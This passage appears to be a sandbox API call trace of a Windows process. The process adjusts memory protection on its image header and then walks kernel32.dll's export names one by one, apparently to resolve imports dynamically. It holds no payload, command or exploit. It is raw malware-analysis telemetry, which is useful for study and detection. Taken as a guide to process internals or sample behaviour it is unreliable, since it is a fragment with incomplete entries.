(lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0035.943] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0035.943] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0035.943] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0035.943] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0035.943] lstrcpyA (in: lpString1=0x18f308, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0035.943] RtlExitUserThread (Status=0x0) Thread: id = 2 os_tid = 0xa48 [0035.945] VirtualProtect (in: lpAddress=0x400000, dwSize=0x254, flNewProtect=0x4, lpflOldProtect=0x34ff70 | out: lpflOldProtect=0x34ff70*=0x2) returned 1 [0035.945] VirtualProtect (in: lpAddress=0x400000, dwSize=0x254, flNewProtect=0x2, lpflOldProtect=0x34ff74 | out: lpflOldProtect=0x34ff74*=0x8) returned 1 [0035.945] VirtualAlloc (lpAddress=0x0, dwSize=0x14, flAllocationType=0x3000, flProtect=0x4) returned 0x50000 [0035.946] VirtualAlloc (lpAddress=0x0, dwSize=0x101, flAllocationType=0x3000, flProtect=0x4) returned 0x60000 [0035.946] lstrlenA (lpString="kernel32.dll") returned 12 [0035.946] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x76c20000 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0035.946] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0035.946] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0035.946] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0035.946] lstrlenA (lpString="ADDATOMA") returned 8 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0035.946] lstrlenA (lpString="ADDATOMW") returned 8 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0035.946] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0035.946] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0035.946] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0035.946] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0035.946] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0035.946] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0035.946] lstrcpyA (in: lpString1=0x34f254, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0035.947] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0035.947] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0035.947] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0035.947] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0035.947] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0035.947] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0035.947] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0035.947] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0035.947] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0035.947] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0035.947] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0035.947] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0035.947] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0035.947] lstrlenA (lpString="BACKUPREAD") returned 10 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0035.947] lstrlenA (lpString="BACKUPSEEK") returned 10 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0035.947] lstrlenA (lpString="BACKUPWRITE") returned 11 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0035.947] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0035.947] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseCheckRunApp" | out: lpString1="BaseCheckRunApp") returned="BaseCheckRunApp" [0035.947] lstrlenA (lpString="BASECHECKRUNAPP") returned 15 [0035.947] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0035.947] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0035.948] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0035.948] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0035.948] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0035.948] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0035.948] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0035.948] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0035.948] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0035.948] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0035.948] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0035.948] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0035.948] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0035.948] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0035.948] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0035.948] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0035.948] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0035.948] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0035.948] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0035.948] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0035.948] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepCheckBadapp" | out: lpString1="BasepCheckBadapp") returned="BasepCheckBadapp" [0035.948] lstrlenA (lpString="BASEPCHECKBADAPP") returned 16 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0035.949] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0035.949] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0035.949] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0035.949] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0035.949] lstrlenA (lpString="BEEP") returned 4 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0035.949] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0035.949] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0035.949] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0035.949] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0035.949] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0035.949] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0035.949] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0035.949] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0035.949] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0035.949] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0035.949] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0035.949] lstrlenA (lpString="CANCELIO") returned 8 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0035.949] lstrlenA (lpString="CANCELIOEX") returned 10 [0035.949] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0035.950] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0035.950] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0035.950] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0035.950] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0035.950] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0035.950] lstrlenA (lpString="CHECKELEVATION") returned 14 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0035.950] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0035.950] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0035.950] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0035.950] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0035.950] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0035.950] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0035.950] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0035.950] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0035.950] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0035.950] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0035.950] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0035.950] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0035.951] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0035.951] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0035.951] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0035.951] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0035.951] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0035.951] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0035.951] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0035.951] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0035.951] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0035.951] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0035.951] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0035.951] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0035.951] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0035.951] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0035.951] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0035.951] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0035.951] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0035.951] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0035.951] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0035.951] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0035.951] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0035.951] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0035.952] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0035.952] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0035.952] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0035.952] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0035.952] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0035.952] lstrlenA (lpString="COPYCONTEXT") returned 11 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0035.952] lstrlenA (lpString="COPYFILEA") returned 9 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0035.952] lstrlenA (lpString="COPYFILEEXA") returned 11 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0035.952] lstrlenA (lpString="COPYFILEEXW") returned 11 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0035.952] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0035.952] lstrcpyA (in: lpString1=0x34f254, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") 